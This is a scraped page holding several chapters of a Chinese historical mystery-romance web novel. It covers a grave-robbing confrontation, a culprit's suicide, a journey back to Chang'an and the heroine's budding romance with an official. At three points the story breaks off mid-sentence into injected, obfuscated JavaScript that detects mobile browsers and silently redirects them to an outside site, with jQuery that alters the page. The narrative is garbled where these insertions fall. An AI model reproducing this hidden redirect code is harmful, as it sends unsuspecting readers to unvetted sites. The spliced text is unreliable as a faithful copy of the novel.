崔景天小时候被父亲鞭策着习过武,后来又被她的好兄长带去军营里头待了一段时间,因此跟着将士们学了好几种招式,只是过了这么些年,忘了不少,但体能还算不错,因此上个山根本不费吹灰之力。 但薛嘉玉就不一样了,她从小到大没过过几天好日子,肉都吃不了几顿,一直以来都营养不良,况且家里也没有闲钱能容许她去学什么才艺,因而上山于她而言,简直犹如登天。 她搀扶着薛嘉玉,带着她来到几堆草丛后面躲起来。 薛嘉玉急促地喘着气,她透过密密麻麻的枝叶看向不远处正在带着下人掘坟的冯婉珠。 她不忍在心里为周琅默哀:周侯爷虽然你生前确实不做人,但死后还不得安宁,时不时就被人掘坟,属实可怜。 冯婉珠站在土坑前,下人们挖土的时候,难免会扬起一些尘土,她似是十分嫌弃,用袖子遮住自己的口鼻,还不忘催促下人们,“都给我挖快点!” 下人们不语,只一味地用铁锹狠狠挖土。 待挖干净泥土后,冯婉珠吩咐侍女下去找装着医书的盒子,可是侍女遍寻不得,慌慌张张地回应:“夫人,没有看见装着医书的盒子啊。” “什么?” 冯婉珠大惊失色,快步跑到墓前,只见那里头的陪葬品盒子全都被侍女打开,可没有哪一个里面是装着医书的,她急得面色通红,两手紧紧交握在身前,原地打转,像热锅上的蚂蚁一般。 她无论如何也想不通,这好好的盒子怎么会凭空消失呢? 莫非真是那该死的周琅显了灵? 坏了坏了,这下该如何回去和老爷交代? 她如今汗如雨下,两手搅着手心的粉色丝绸手帕,冯婉珠用牙齿咬着下嘴唇,绞尽脑汁,却也想不出一个良策。 身边的侍女倒是为她献上了一个良策,“夫人,既然医书消失不见,那不妨我们就回去禀告老爷,说医书已被烧毁,这样老爷也不会随意怪罪下来。” “不可不可。” 想到昨夜周琅那张跟面粉一样白的脸,冯婉珠仍旧心有余悸,她连忙摇头否定,“若真是被显了灵的周琅给拿走了,那定有一日此物会水落石出,到时一切可就棘手了。” “那夫人打算如何?” 冯婉珠无甚学识,当初也是仗着自己生有一副沉鱼落雁之貌,才被周辙迎进了侯府的大门。 她抬起左手,指着在墓前围着的那一圈下人,冯婉珠气得目眦欲裂,声色俱厉,“你们都给我继续挖!挖不到,我便治你们的罪!” 下人们担心掉脑袋,只好学着土拨鼠的模样,不断挖着坟墓四周的土。 原本因为冯夫人的震怒而陷入死寂的气氛,忽然间被一阵含笑的女子声音给打断了。 “冯夫人,你要找的可是此物?” 冯婉珠循声望去,只见几米外站着薛嘉玉和崔景天,她的脸上蓦地划过一丝极易察觉的慌乱,很快她的视线落在了薛嘉玉手里的盒子上,那盒子里就装着她遍寻不得的医书。 她摊开左手,语气不容拒绝,“把东西拿来。” 薛嘉玉自然不会把挖了好久的坟才找到的医书拱手相让,她将盖子盖好,莞尔一笑,“不知道冯夫人费这么大劲寻几本医书作甚?我瞧着这几本医书也是市面上常有的,若是需要,直接去市集上买不就好了,何必要大费周章掘自己亲侄子的坟墓呢?” 前几日一同吃午饭的时候,冯婉珠倒是没发现这小丫头竟是个牙尖嘴利的,她冷冷哼了一声,嘴角勾起一抹嘲笑,“两位小娘子,我劝你莫要与侯府作对,否则怎么死的都不知道。” 话方一落地,冯婉珠就抬起手臂晃了晃,“你们几个把她手里的木盒子给我抢过来!” 命令一下,那几位侍从就跟发现了猎物一般的丧尸,急速冲着她们的方向冲了过来。 电光火石之间,薛嘉玉将手里的木盒子转交给了身旁的崔景天,接着向前一步,将她护在身后,“景天,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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最后一个“处”字还没有说出口,冯婉珠的喉咙便被发钗尖锐的尾部给抵住了,她瞬间噤声,两者的距离近到她连口唾沫都不敢吞,生怕这发钗插进自己的喉咙。 她还没享够福分呢! 薛嘉玉腾出一只手,死死地箍住她的腰,“冯夫人,你今日若是不说为何要找医书,那你才是那个死无葬身之处的人。” 冯婉珠吓得全身无力,心脏急速跳动着,她的面部开始微微颤抖,不敢向下看那枚发钗。 她倒吸一口凉气,“这是侯府的家事,我凭何要告诉你?” “不说是吗?” 谈话间,薛嘉玉将那枚发钗靠得更近了些,冯婉珠被迫仰起头来,她梗着脖子,“我就不信你真敢把我这堂堂侯府夫人给杀了。” 薛嘉玉无奈地嘟了下嘴巴,“无碍,我先同你说点别的吧。周辙一直以来都觊觎着侯爷的位置,就是因为多年前他明明也为收复琉球一役立下了不灭功勋,但是没有人看见,没人厚待他,甚至连个爵位都没讨到,还眼睁睁地看着周琅那个不肖子孙继承爵位,便更加嫉妒侯爷这个位置——不,应该说是他更加嫉妒嫡长子这个位置吧。” “而冯夫人当年也是瞧着他是侯府的人才嫁的吧。当时平远侯风光无限,并不亚于国公府,你想要攀高枝,可进了这侯府,才知道自己的夫君在侯府里面其实身份卑微、举步维艰。人人都围着周骋转,没人理会周辙,而随着四方平定,周辙也郁郁不得志。等周骋去世,他便把所有的恨意都转移到了他卫衣的侄子身上。” 冯婉珠合上眼皮,嘴角轻微颤抖着,“这故事倒是编得绘声绘色。可除了医书,你又能拿出什么证据?” “我是拿不出别的证据,因为致其死亡的银针已经被毁尸灭迹,我也并非是笃定主意要将你们追捕归案,我只是好奇你们为什么不连同医书一块处理了?” 薛嘉玉正打算用发钗再恐吓几下冯夫人,可尚未下手,余光中一片轻薄锋利的刀片“咻”的一下向她疾速飞来! 18. 回京 薛嘉玉反应敏捷,灵活地带着冯夫人闪开,这才没被那暗器给害死。 她和崔景天不约而同地看向刀片飞来的方向,只见一位穿着褐色衣服的中年男人迈着苍老的步伐走了过来。 是周辙! 崔景天担心周辙要对她不利,连忙走上前,挡在薛嘉玉的身前,“周伯,您这是作甚?” 周辙两手背在身后,眉眼间比起之前多了一分沧桑,“既然你们都已经猜到了这个份上,那不妨也来猜猜我究竟是来此处做什么的。” 说罢,又有几片刀片从他的袖口中飞了出来,刀刀瞄准挟持着冯夫人的薛嘉玉,幸亏她眼疾手快,不然此时此刻依然被扎成筛子了。 崔景天弯腰,疾步绕到周辙的身后,扣住他那只藏了刀片的右手,然后狠狠往后一扯,接着又向上猛推,随即抬起脚用力朝着他的腰间一踢。 尽管周辙年少习武,但他此刻已经老了许多,身子也是一日不如一日强健,他忽地单膝跪在地上,然后腰却挺得笔直。 周辙仰起头来,“薛娘子,你不就是想要知道事情的真相嘛,你把我夫人放了,我就将此事的来龙去脉全都吐出来。” 薛嘉玉怎么傻痴痴地就这么相信周辙的话,不过是缓兵之计罢了,此计都快被她用包浆了。 她带着冯夫人往前面走了几步,“不,我并不想知道真相。在我看来,杀了人就该一命偿一命,你杀了周琅,那我就在他的坟前杀了冯夫人,然后把冯夫人丢下去给他做伴,而你则只能亲眼看见冯夫人慢慢地死去。” 周辙不忍见自己的夫人受伤,他从地上站了起来,挣脱开崔景天的束缚,大步一迈,握住薛嘉玉拿着发钗的手,将那发钗的尾部对准了自己。 “对于杀死周琅一事,我从不后悔,若非他是嫡长子,这侯爷位置永远都轮不到他!”周辙双眸发红,五官皱在一起,“既然一命偿一命,那就用我的命来偿!” 话音刚落,就见周辙刚烈地用发钗对着自己的喉咙插了进去,几乎是毫不犹豫,他立刻就砰的一声摔在了地上,喉咙上还插着发钗,深红色的鲜血咕噜咕噜地从伤口冒出来,他两眼瞪大,死相看起来极为骇人。 那些一直在旁边畏畏缩缩的奴仆们纷纷作鸟兽散。 冯夫人从未见过死人,更何况还是当着她的面死去的,眼泪瞬间夺眶而出,颤抖着爬到周辙的身边,两手拍了拍周辙的脸颊,“夫君!” 冯婉珠哭着一连唤了好几句“夫君”,最后也因惊吓过度昏厥了过去。 一切都发生得太快,崔景天和薛嘉玉仍旧心有余悸,周辙自杀完全出乎她们的意料。 此刻,不远处传来了一阵清晰的脚步声。 陈晟摇着扇子,瞧了一眼地上躺着的三个人,“当真是巾帼不让须眉啊。” 薛嘉玉将周辙喉咙上插着的发钗扯了出来,掏出手帕将上面的血迹擦干净,“大人,你们怎么来了?” 陈晟抢先一步道:“其实我俩早就到了,但裴砚说情况还不算危急,就拉着我躲到草丛后面观察情况。” 面对地上的三个人,崔景天不禁眼皮一跳,“那这两具尸体怎么处理?” 只瞧薛嘉玉抬了抬手,纠正她话里的错误,“诶,等等,只死了一个周辙。这奴仆扑过来的时候,我刺中的是他的一个假死穴,六个时辰后方会醒来。周辙这又是何必呢?” 裴砚上前,弯腰托住周辙的胳肢窝,将他扛在肩膀上,然后走到墓坑前,毫不犹豫地将周辙丢进了周琅的墓里。 他拍了拍手,“周辙只是不愿意承认自己的错误罢了,所以才选了这样一条极端的路。” 崔景天心中五味杂陈,摇了摇头,“若是当年周老爷子是选贤,而非选嫡,兴许就不会出现现在这样的事情了。” 裴砚无心了解他们周家的爱恨情仇,吩咐着陈晟把墓坑填好,然后他们二人一人扛着一个下了山。 他们把人送到侯府里面后就离开了,陈晟因为家中老母还下有禁足令,只得先行告辞,连告别都未同崔景天好好说一句。 金羽将一直拴在客栈门口的两匹马牵了过来。 崔景天有些舍不得薛嘉玉,她牵着薛嘉玉的两只手,临时改了主意,“要不我同你们一块回长安吧?我舍不得你,还想带着你去喝遍长安城中所有酒楼卖的酒。” 裴砚蓦地出声:“没有多的马了。” “那我跟金羽同乘一匹马。” 金羽有些懵地“啊”了一声。 裴砚双手抱臂,试探道:“你当真要回长安?” 她一本正经地回答:“当真。” “那我便给你指一条明路吧,陈晟前几日买了一匹朱红色的马,你可以牵过来溜溜。” 崔景天也觉得这甚是一个不错的主意,连忙转过身奔去陈府。 薛嘉玉立在原地,慢悠悠地前后晃着身子,她一旦有求于人的时候,就会摆出一副乖乖女的模样,弱弱道:“大人,我想去长乐坊看看燕柳姑娘。” 裴砚知道她是担心燕柳的情况,反正崔景天去偷马也需要一些时间,不妨就陪她一起去。 他走到薛嘉玉身边的时候,睨了她一眼,“走吧,我跟你一起去。” 这次裴砚的脚步放得比之前慢了不少,薛嘉玉再也不用在他身后一路狂奔了。 只剩一人两马站在客栈门口独自凌乱。 二人一同来到长乐坊,薛嘉玉瞧见老板娘还坐在凳子上算账本,“老板娘,我想来见见燕柳姑娘。” “燕柳啊……” 老板娘合上账本,眉间蒙上了一层忧愁,摇头叹气,“燕柳前日便离开长乐坊了,我也不知道她去哪里谋生了。哎,自从她走了之后,这长乐坊的收入锐减了不少,愁死我了。” 薛嘉玉猛地回头,与裴砚炙热的视线撞在了一起,她心下了然,明白燕柳做出的选择是什么了。 “看来燕柳还是想要留下那个孩子。” 他觉得燕柳做出这个选择也不奇怪,毕竟心上人已逝,腹中却怀有他的遗腹子,舍不得打掉也是人之常情。 裴砚抬手将她脑袋上的桂花花瓣扯下来,“燕柳舞技精湛,想必无论身在何处都能讨得了生计。” “我只是觉得她一个人一边带孩子,一边谋生计,应该会很辛苦吧。” 裴砚虽未成家,也不是女子,但也知道自己母亲是多么含辛茹苦地把他们兄弟俩带大的。 “再怎么累,这也是燕柳自己做的选择。” 此话倒是没有说错,选择是她自己做的,薛嘉玉一个外人自然不该说什么。 等他们回到客栈,崔景天也把马偷过来了,她踩着马镫,熟练地翻上了马背,自知不该一直待在这里打扰他们二人的良辰美景,便两手执起绳索。 马儿蠢蠢欲动,前后踱步,崔景天也跟着一晃一晃的,她低头看着裴砚,“裴砚,我们来赛马吧,你若输了,我便把你的小秘密透露给阿玉。” 话音刚落,崔景天就厚颜无耻地骑着烈马,朝着城外狂奔。 裴砚和她自小一块儿长大,自是知道她话里的“小秘密”是指的什么,他是万万不能让她把这事儿说出去的。 等把薛嘉玉推到马背上去后,裴砚就迅速地翻身上马,还没等薛嘉玉调整好姿势,抓紧他的衣服,他便前倾身子,用马鞭狠狠拍了下马儿的尾巴。 马儿一边嚎叫,一边发了疯似地往前急奔。 寒风扑面而来,吹得薛嘉玉的脸蛋都要僵了,她紧紧地捏着裴砚的腰带,“大人,咱们这回长安就没必要如此着急了吧?况且赛马输了便输了,不要这么的争强好胜。” 裴砚冷笑一声,“你就是想要听我的小秘密吧。” 小心思被戳穿,薛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15047993|162194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嘉玉立刻沉默不语。 这条路崎岖不平,再加之马儿跑得又快,震得她有些不太舒服。 裴砚对崔景天的马穷追不舍,终于在颠簸了一个时辰后追上了她的红马。 崔景天没想到他竟然真的赶上来了,果真不能小瞧了他,好歹她曾经在长安的时候和女子们打马球还拿到了优胜,一时间好胜心起,一边用鞭子拍打马屁股,一边回头调侃:“哟,裴大人就这么不想让我把秘密说出去啊?” 就在他正准备加速之际,忽然听见薛嘉玉幽幽怨怨地控诉:“大人,你真的别骑这么快了!” 裴砚这才回过头去瞧她,发现她面色惨白,眉头紧皱,单手捂着肚子,看着好似很不舒服。 他连忙吁马停下,语气有些着急,“你怎么了?” 闻言,崔景天也赶忙调转马头,凑到她的面前去看看她怎么了。 薛嘉玉两手抱着肚子,额头上冒着豆大的汗珠,“我癸水来了,小腹疼。” 对于女子的事情,一向无所不能的裴砚忽然间束手无策了,他正想问怎么做才能缓解她的疼痛,崔景天索性翻身下马,将她从裴砚的马上扶了下来。 崔景天拖着她的屁股,将她用力塞了上去,“让她跟着我吧,我毕竟也是女子,更方便照顾她。” 裴砚点点头,“行。” 没了薛嘉玉在马上,他也并未肆意策马奔腾,而是缓慢地跟在红马后面,盯着薛嘉玉的情况。 金羽跟了他好几年了,明面上说是主仆关系,但其实裴砚心中是当他为朋友的,他好奇地凑上去,“郎君,你担心薛娘子,干嘛不把她留在自己马上?还可以为她提供温暖的怀抱,一定能起到抚慰作用。” 裴砚驭马有术,他让马往旁边靠了靠,直接装上了金羽骑的那匹马,“这叫趁人之危,并非君子所为。” 他撇了撇嘴角,小声吐槽:“郎君,你就可劲儿端着吧。” “你是不是还要多嘴?” 裴砚的脸色肉眼可见地黑了黑。 金羽立刻噤声,再也不敢议论。 红马上,薛嘉玉软软地靠在她的怀里,崔景天一手捏着缰绳,一手放到她的小腹上,轻柔地按摩着。 “阿玉,好些了吗?” 薛嘉玉疼得不想说话,只咬紧牙关摇了摇头。 “快到驿站了,再撑一下。” 马儿停在驿站门口,臭屁地晃了晃茂密的红马尾。 驿站占地较宽,足足有四层楼,大堂里小二们端着盘子穿过层层席间,吆喝声此起彼伏,席上的客官觥筹交错。 裴砚先行下马,站在红马旁边,张开双臂,好接住从马背上滑下来的薛嘉玉。 薛嘉玉一下子就跌进了他的怀里,裴砚的胸膛遭到了猛烈的撞击,他顿时感觉自己的心脏剧烈跳动起来,还有些面红耳赤。 但怀里的余温并未持续太久,薛嘉玉意识到自己靠在谁的怀里,就立刻强撑着站直身子,殊不知身后的裴砚此刻面如土色。 她刚想扑到崔景天身边去,手腕就被裴砚强行拉住,他轻轻往后一拉,薛嘉玉就又被扯了回去。 裴砚一言不发地牵着她的手腕,带着她进到驿站办理入住,他把薛嘉玉安顿在床榻上,单膝下跪正要给她脱鞋,可她却慌乱间把双脚给收了回去。 “大人,此举不合乎礼仪。” “我原以为薛娘子是不顾礼节的人。” 他重新把薛嘉玉的双脚扯了过来,给她脱下鞋子,接着又贴心地给她垫好枕头,薛嘉玉浑身乏力地躺在床榻上,裴砚便把衾被掖得严严实实。 他站在床边,“小娘子的事情,我不懂,一会儿我叫崔景天过来照顾你。我的厢房就在右边,若遇到什么事了就来找我。” 薛嘉玉疼得脑袋发昏,浑浑噩噩间抓住了他的手腕,“大人,你为什么要照顾我?” 19. 动心 裴砚蹲在床榻前,眼含柔情,随即垂了垂眸,茂密的睫毛在眼睑留下了一块月牙似的阴影,他嗓音平淡,“只因你帮了我许多。等回到长安后,你就莫要跟在我的身边了,大理寺不缺仵作,我也没必要将你带在身边。” 此话如同晴天霹雳,薛嘉玉被雷得外焦里嫩。 她两手撑着床榻,猛地从床上蹭了起来,薛嘉玉汗如雨下,“为何?大人,这几天里我没有功劳也有苦劳吧,利用完我就丢掉,你还算是个男人吗?” 裴砚知道她想要一直跟着自己查案,但回到了长安之后,她若继续跟着自己,势必会有一天引起他人的怀疑。 于他,于她,都不利。 “此事就这么决定了。” 抛下这句话后,裴砚便极其干脆地转身离开了。 薛嘉玉实在是想不通这男人为何突然提出终止合作,况且他一会儿对自己好,一会儿又把她推走,她忽地觉得裴砚这人真是阴晴不定。 果然,想要猜透一个男子的心不容易。 过了一会儿,崔景天带着满腹疑惑走了进来,她用食指指着外面,“阿玉,你们俩刚刚都发生了什么?怎么我瞧着他脸色不太好?” 薛嘉玉轻嗤一声,暗道男人的无情,她愤愤地用双脚踢着被子,“他脸色不好?他让我回到长安后就离他远远的,他凭什么拉着个马脸?我没一脚踹死他都不错了。” 崔景天来到床榻边坐在,两手合在一起搓了搓,待手心微微发热后,才掀开被子,将手心搭在她的小腹上轻轻按摩。 她好歹也是成了婚的,虽说是嫁给了一个根本不爱的人,但崔景天也颇懂男女之间那点说不清道不明的感情。 崔景天沉吟道:“阿玉,你想知道我先前说的那个小秘密吗?” 听见“小秘密”这三个字,薛嘉玉忽然间就来了精神,她终于可以抓住裴砚的小辫子了。 她两眼发光,迫切地询问:“什么什么?” 崔景天由不得深呼吸了一口,“其实……我觉得裴砚对你动心了。” 砰! 薛嘉玉的脑子蓦地炸开了,她一时间失去了思考的能力,甚至觉得自己的听觉也有问题,她张了张嘴巴,千言万语堵在嘴里,不知道先说哪一句才好。 半刻钟后,她盖好被子,心如止水地躺下去了。 “景天,你莫要同我开这种玩笑。” “我不是在同你说笑,就连陈晟也这么觉得。”崔景天自诩比较了解裴砚的为人,她轻轻啧了一声,“裴砚若是不心悦于你的话,是绝无可能这么着急你的。” 薛嘉玉顿时觉得脑子好乱,她两手揪住被角,一把将自己的脑袋也给蒙住。 “可我不喜欢他,我还是麻溜地滚远一点吧。” 她将被子向下扯,薛嘉玉那颗圆不溜秋的脑袋立刻显现出来,崔景天笑脸盈盈地看着心如死灰的薛嘉玉,“我也不知他为何要把你推开,你若好奇的话,我可以一会儿去问问他。” 薛嘉玉翻了个身,背朝着墙壁,“罢了罢了,这毕竟是我和他之间的事情,就不把你牵扯进来了。改日我寻个机会亲自问问他。” 崔景天见她有些困倦了,就从床榻上站起来,走到一旁的烛台前,将蜡烛吹灭,接着蹑手蹑脚地离开了厢房。 半夜,她在床上接连打了好几个回合的滚,心烦意乱。 现在裴砚不肯让她待在他身边,那她该当如何查当年之事? 且这次查案的时候并未浮现出当年一事的线索。 可见想要真正揭开迷云,还得耗上不长时间。 所以应该怎么重新利用他查案呢? 薛嘉玉纠结了一整夜这个问题,待鸡鸣声响起,她才骤然意识到自己竟彻夜未睡,眼下有好大一团明显的乌青。 她无精打采地从妆台前起身,也没半点打扮的心思。 趁着时间尚早,薛嘉玉火速跟做贼一般溜到了裴砚的厢房门口。 她抬起手臂,“砰砰砰”的敲了几下,里面多少夹杂着一丝私仇。 裴砚推开大门,她一见面前这个男人就这么水灵灵地穿着白色里衣出现在自己眼前,就立刻用手掌心捂住自己的眼睛。 可是薛嘉玉还是忍不住悄悄睁眼,透过那几条狭长的指缝,偷看他的身子。 这种好事可遇不可求,万万不可错过了。 “大人,你还是把衣服穿好了再来见我吧。” 裴砚低头瞧了一眼自己,这身上虽然只穿了一套单薄的里衣,可又不是什么都没穿,哪儿来那么多见不见得人? 他系好腰间的带子,“找我何事?” 俗话说,做人就要能屈能伸,方能成就一番大事。 薛嘉玉牢牢铭记这句人生箴言,她沉默不语地扑通一声跪在地上,她假模假样地抹了把眼泪,“大人,草民愿誓死追随大人!” 此话一出,客栈里的人都纷纷朝他们俩投来好奇的目光,人人七嘴八舌,众说纷纭。 裴砚眉心一跳,强迫自己忽略那些人的视线,他猫着腰,两只手虚虚握住薛嘉玉的两条手臂,想要将她扶起来,“你这是做什么?不是来了癸水吗,就莫要折腾自己的身体了。” 薛嘉玉耸了耸肩膀,挣脱开他的手心,她酝酿了一下情绪,把这辈子所有伤心的事情都想了个遍。 只见她双肩微微颤抖,一脸委屈地说:“大人,你莫要丢下我一人啊!我都已经跟着大人跟了这么些日子了,已经打定主意要一辈子跟着大人。” 话音刚落,那群看热闹的客官都唏嘘着瞧了薛嘉玉一眼,眸中带着不加掩饰的同情。 几个舌头长的还凑在一堆议论此事。 “原来是小娘子被抛弃了啊。” “这男的看着玉树临风,怎么还能做得出抛弃娘子的事情来?” “是啊是啊,简直就是个道貌岸然的禽兽!” “不对不对,抛下糟糠之妻的男子简直就是禽兽不如!” 这些不堪入耳的声音落在裴砚耳畔,他倒也没生薛嘉玉的气,只催促着她快些从地上站起来,莫要伤着自己身子。 可薛嘉玉今日好似是不等到他松口,就不肯站起来了一样。 裴砚第一次拿别人没办法,他无奈道:“你若听我的话,乖乖起来回房休息,我便重新考虑这件事情。反之,我现在就骑马把你丢在这僻静之处。” 听见这句话,薛嘉玉此举 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15051534|162194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 总算是达到了最终目的,她心满意足地从地上站起来,揉了揉有些发疼的膝盖,冲着一脸懵的裴砚笑脸盈盈道: “多谢大人!” 旋即,她拔腿就跑,咻的一下就回到了自己的屋里。 裴砚方才注意到她脸上分明没有半点伤心之色,换句话说,刚才那些都是她演出来的。 他合上双眼,深呼吸了一口气,旋即摇摇头,反手将门关上。 小计谋得逞,薛嘉玉心中的阴霾一扫而空,心情顿时好了不少,她从行囊中翻出裴砚送她的各种脂粉。 她将质地细腻、颜色洁白的珍珠粉均匀地涂在脸上,脸蛋一下变得白皙透红,随后又拿起螺子黛,仔细地对着镜头描眉。 涂完脂粉后,薛嘉玉自恋地对着镜子全方位无死角地欣赏自己。 少顷,她的房门被人敲响,传来了外面裴砚的声音。 ——“薛娘子,该上路了。” 薛嘉玉手脚麻利地把行囊收拾好,然后将两头合在一起打了个死结,接着挎在肩上,大手一推房门。 裴砚顺过她肩膀上挎着的行囊,提在手心里,后面的崔景天瞧见他们二人这举动,忍不住心道:你们这和好速度堪比烽火狼烟啊。 然而等到上马的时候,薛嘉玉却是上的那匹红马。 这倒是让崔景天有些摸不着头脑了。 但他们二人的事情,崔景天不好插足,要是一不小心碰到了什么地雷,指不定裴砚又要怎么发牛疯。 薛嘉玉将脸颊贴在崔景天的后背上,两只手紧紧环在她的腰间,“景天,你回长安后打算做什么?” 崔景天一时间也没想好,她缓慢地驾着马,“没想好。不过先玩上一阵再说吧。” 她踟蹰片刻,才道:“那……你能不能教我骑马啊?” “可以啊。”崔景天爽快应下。 等薛嘉玉身体恢复了不少后,崔景天才快马加鞭赶回长安,此时已至子时,她担心让薛嘉玉一人回去的话不安全,便执意要亲自送她回去。 可薛嘉玉现在想到那夜在长乐坊附近碰见的那一群壮汉,依旧心有余悸,她也担心一会儿崔景天独自回府会不安全。 于是她便想要拒绝,“不可,你还是快些回府吧,莫要让伯父伯母担忧。” 崔景天心里清楚她在顾虑什么,“不用担心我,我在长安也是有头有脸的人物,没那么容易就出事。” 没办法,盛情难却,二人手挽手一同回到她的小屋。 将近半月未曾回来,屋中的摆件上都难以避免地蒙上了一层灰尘,薛嘉玉的陋室甚小,也没可以用来招待崔景天的东西。 崔景天即便生于富贵人家,但她也从未养成嫌贫爱富的性子,她一屁股坐在木凳上,“平日里就你一个人住在这儿,不会觉得很孤单吗?” 薛嘉玉摇摇头,她苦笑着说:“早就习惯一个人了,自然不会觉得孤单。” 她并不知道薛嘉玉的孤苦身世,可崔景天瞧着这小小茅屋,便猜测她应当不是长安人,以为她是背井离乡,一个人来此漂泊。 崔景天从椅子上起来,她张开双臂,无言地抱住薛嘉玉,“但现在我可以陪着你,不是吗?” 20. 狩猎 薛嘉玉身边从来都没有一个真正的朋友,原以为自己已经习惯了孤苦生活,不再需要朋友,没想到自己内心其实还是期望能够有人陪着。 她心头一暖,抱紧了些,贪念着这种有人陪着的感觉。 “谢谢你,景天。” “以后要是想我了,记得来崔府找我哦。”崔景天偏头瞧了眼窗户我伸手不见五指的黑夜,“不早了,我得回去了,不然那老头子又要说我了。” 薛嘉玉心中不免有些羡慕,送别崔景天之后,她简单洗漱,就上床睡觉了。 本以为崔景天回到了崔府后,肯定就没那么容易见到面了,没曾想她竟日日牵着马匹来到西市,教她骑马。 这日,崔景天跟往常一样牵着一匹马穿过人来人往的西市,停留在薛家门口,薛嘉玉从屋中出来,还未上马,马儿不知怎的居然自己跑走了! “我的马!”她痛心疾首地望着马儿在路上疾驰的背影。 崔景天默默握紧双拳,火冒三丈地转过头盯着那恰如从天上降下的罪魁祸首,她皱着鼻子怒吼:“陈!晟!” 长安的天气就和洛阳差不多萧瑟,陈晟也依旧放不下他手中的花扇子,他用折扇指着崔景天,“崔娘子好意思冲我发火?你是不是该跟我解释一下偷走我爱马的事情?” 她梗着脖子嘴硬道:“我那叫事权从急!又不是故意偷走你的马,我堂堂尚书之女,什么好马没见过,会瞧得上你那匹小马?” “小马?”陈晟这辈子最讨厌别人侮辱他的钱和马,他撸了撸袖子,打开折扇,对着气得发烫的脸颊扇了扇风,“崔娘子,你可以侮辱我,但请不要侮辱我的马。我那后院栓了好几匹马,其他大马你不挑,偏偏挑中了那匹最贵的红马,现在还嫌人家小。” 薛嘉玉见他们二人之间剑拔弩张,像是下一刻就会直接撸起袖子打成一团,她连忙出来担任和事佬的位置,“陈公子,当时景天确实是迫于无奈才牵走你的马的,绝无半句虚言。” “迫于无奈?牵走?那分明是偷!我此行就是为了找回我的马匹的,快点还给我。” “那匹马虽然小是小了些,但长得还挺好看的,这样,你开个价卖给我。” 听见她夸赞了自己的小马,陈晟的脸色瞬间好了不少,颇有些得意,但紧接着就反应过来她要买走自己的马,陈晟的脸又立刻暗沉了几分。 他愤愤道:“我才不会卖给你。” 薛嘉玉想在从中调和几下,可这时她忽地感觉到自己的后衣襟被谁提溜了起来,之后她便不出所料地腾空而起,她吓得用四肢在空气中乱晃。 “啊啊啊啊啊啊!救命啊!” 仅仅一瞬,她便从地上被提溜到了马背上,薛嘉玉侧着身子坐在马背上,原本高高悬起的小心脏在看见前面那人的时候转瞬间安稳落下。 “大人,你能不能提前知会一声?” 裴砚驾着马,朝着郊外的围猎场疾驰而去,“你不是要学骑马吗?崔景天不精通驭马之术,还是让我来教你吧。” 这才堪堪不到几日,这裴砚怎么就又换了一副嘴脸? “大人身为大理寺少卿,竟有空教我骑马?” “今日休沐,且大理寺并非只有我一个少卿,自然腾得出时间教你。” 马儿一路奔波,最后停在了一片围猎场上,这里树木丛生,随处可见各种杂草,几乎没有一条完整的给人提供的路,偶尔还能听见细微的嘶叫声,想必是隐匿在草丛中的蛇发出来的。 此时秋高气爽,苍穹之上不断有成群结队的大雁飞过,还有鸟儿停留在树枝上鸣叫,树根上则有一群密密麻麻的黑蚁在搬家,定睛一看,还有蜘蛛在枝桠间跳来跳去,明明是一派生机勃勃的景象,可薛嘉玉见了,心中忍不住发毛。 她双手抱臂,不忍打了个寒颤,“大人,我们一定要来这种地方学骑马吗?” “这是围猎场,今日就教你如何一边骑马,一边狩猎。” 裴砚下马,转而挪到薛嘉玉的身后,他越过她的身子,一手牵着缰绳,一手从马鞍上挂着的布袋中掏出一把弓箭,“拿好,一会儿看见什么喜欢的猎物,就用这把弓箭瞄准它,出手定要快准狠,否则猎物就跑了。” 薛嘉玉接过弓箭,本以为弓箭应该很轻,没想到才拿了会儿,就感觉到手臂有些发酸发沉,她瞧见前方有一只白色的野兔蹦来蹦去,便用弓箭瞄准,手指勾着弓弦,接着咻的一声,箭矢离弦而出,却刚好与兔子尾巴错过。 野兔受了惊,连忙噔噔噔往前面蹦了好几步,躲了起来。 裴砚夹了夹马肚子,两手绕到她的身前,一手握住弓,一手拉着箭矢,薛嘉玉忽然觉得有些别扭,便不太自然地往前面挪了挪,以免和他靠得太近。 “来,我教你。” 薛嘉玉两手都被他抓住,完全是由他来操控的,只见箭矢瞄准躲在草丛后面的野兔,电光火石间,箭矢一下就精准地扎在了野兔的屁股上。 疼得野兔四处逃窜。 裴砚松开双手,“学会了吗?放箭一定要快,不要犹豫应该射在哪个位置,只需要瞄准猎物。若是碰见了那种凶猛的野兽,但凡慢了一步,那你就会成为那个猎物。” “我再试试。” 马儿越往深山行走,路面就愈加陡峭不平,薛嘉玉好不容易瞄准的猎物,因为马儿突然颤了一下,又一次错失良机。 进入深山,四处安谧,抬起头一眼看不到天,只看得见比人还大的树叶,那些树叶交错横生,遮挡了阳光,所以这深山也比之前那一段路暗了不少。 傍晚,风声四起,响声骇人可怖,阴森至极。 薛嘉玉身上的鸡皮疙瘩掉了一地,她一把夺过裴砚手里的缰绳,往后一拉,止住马儿前进的步伐,“大人,教骑射的话也不必来这深山老林里面吧?我们还是回刚才那个地方吧。” 